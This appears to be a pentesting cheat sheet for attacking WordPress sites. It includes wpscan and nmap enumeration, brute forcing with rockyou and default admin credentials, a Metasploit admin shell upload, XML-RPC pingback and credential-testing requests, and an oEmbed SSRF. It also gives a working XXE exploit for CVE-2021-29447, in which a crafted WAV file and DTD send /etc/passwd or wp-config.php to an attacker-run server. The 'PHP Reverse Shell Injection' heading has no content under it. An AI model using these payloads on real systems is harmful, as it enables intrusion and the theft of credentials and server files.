WordPress Pentesting

WordPress is a content management system.

Enumeration

nmap --script http-wordpress-brute
nmap --script http-wordpress-enum --script-args type="plugins",search-limit=1500 -p 80 <target-ip>
nmap --script http-wordpress-users -p 80 <target-ip>
nmap --script http-wordpress-* -p 80 <target-ip>

WpScan

Wpscan is a WordPress security scanner which can brute force credentials.

wpscan --url http://<target-ip> -P wordlist.txt

# --rua: random user agent
# --http-auth username:password
# -e: enumerate
#  ap: All plugins
#  at: All themes
#  tt: Timthumbs
#  cb: Config backups
#  dbe: Db exports
#  u: User IDs range
#  m: Media IDs range
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://vulnerable.com -P /usr/share/wordlists/rockyou.txt

# Specifify username (-U)
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://vulnerable.com -U username -P /usr/share/wordlists/rockyou.txt


Version Detection

There is the meta tag for WordPress in the head tag of the HTML source code.

<meta name="generator" content="WordPress x.x.x" />


Common Directories

/author/admin/
/index.php/author/admin/
/license.txt
/readme.html
/robots.txt

/wp-admin/
/wp-admin/admin-ajax.php
/wp-admin/upload.php
/wp-content/
/wp-content/uploads/
/wp-includes/
/wp-json/wp/v1/
/wp-json/wp/v2/
/wp-login.php

# Users
/?author=1
/?author=2

# Posts
/?p=1
/?p=2

# Private/Draft Posts (WordPress <= 5.2.3) 
/?static=1


Try to Login with Default Credential

Access to /wp-login.php and use the default credential in the login form.

admin:password


Reverse Shell

To achieve reverse shell, we need the admin credential.

Metasploit

msfconsole
msf> use exploit/unix/webapp/wp_admin_shell_upload
msf> set RHOSTS <target-ip>
msf> set LHOST <local-ip>
msf> set USERNAME admin
msf> set PASSWORD admin
msf> check
msf> run
meterpreter> shell

PHP Reverse Shell Injection


XML-RPC (xmlrpc.php)

    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...

    <?xml version="1.0" encoding="utf-8"?> 
    <methodCall> 
    <methodName>system.listMethods</methodName> 
    <params></params> 
    </methodCall>
    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...

    <?xml version="1.0" encoding="utf-8"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>https://www.toptal.com/developers/postbin/xxxxxxxxxxxxx-xxxxxxxxxxxxx</string></value></param>
    <param><value><string>http://vulnerable.com</string></value></param>
    </params>
    </methodCall>
    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...

    <?xml version="1.0" encoding="utf-8"?> 
    <methodCall> 
    <methodName>wp.getUsersBlogs</methodName> 
    <params>
    <param><value>{username}</value></param>
    <param><value>{password}</value></param>
    </params> 
    </methodCall>


XXE (CVE-2021-29447)

If you have a normal user credential, upload the exploitable media (.WAV) with XXE and reveal sensitive information.
First off, create "exploit.wav".

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<local-ip>:9001/exploit.dtd'"'"'>%remote;%init;%trick;] >\x00'> exploit.wav

Next create "exploit.dtd".

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!-- <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php"> -->
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://<local-ip>:9001/?p=%file;'>">

Then start PHP server in local machine.

php -S 0.0.0.0:9001

In target website, login as normal user and go to "Media", click "Add New".
Upload the "exploit.wav".
After that, open the WAV file. You should see the information is revealed in your console.

Decode Base64

To decode the Base64, create “decode.php” as following.

<?php echo zlib_decode(base64_decode('<Base64_Here>')); ?>

Execute the script to decode it.

php decode.php


SSRF

oEmbed Proxy

/wp-json/oembed/1.0/proxy?url=http://10.0.0.1/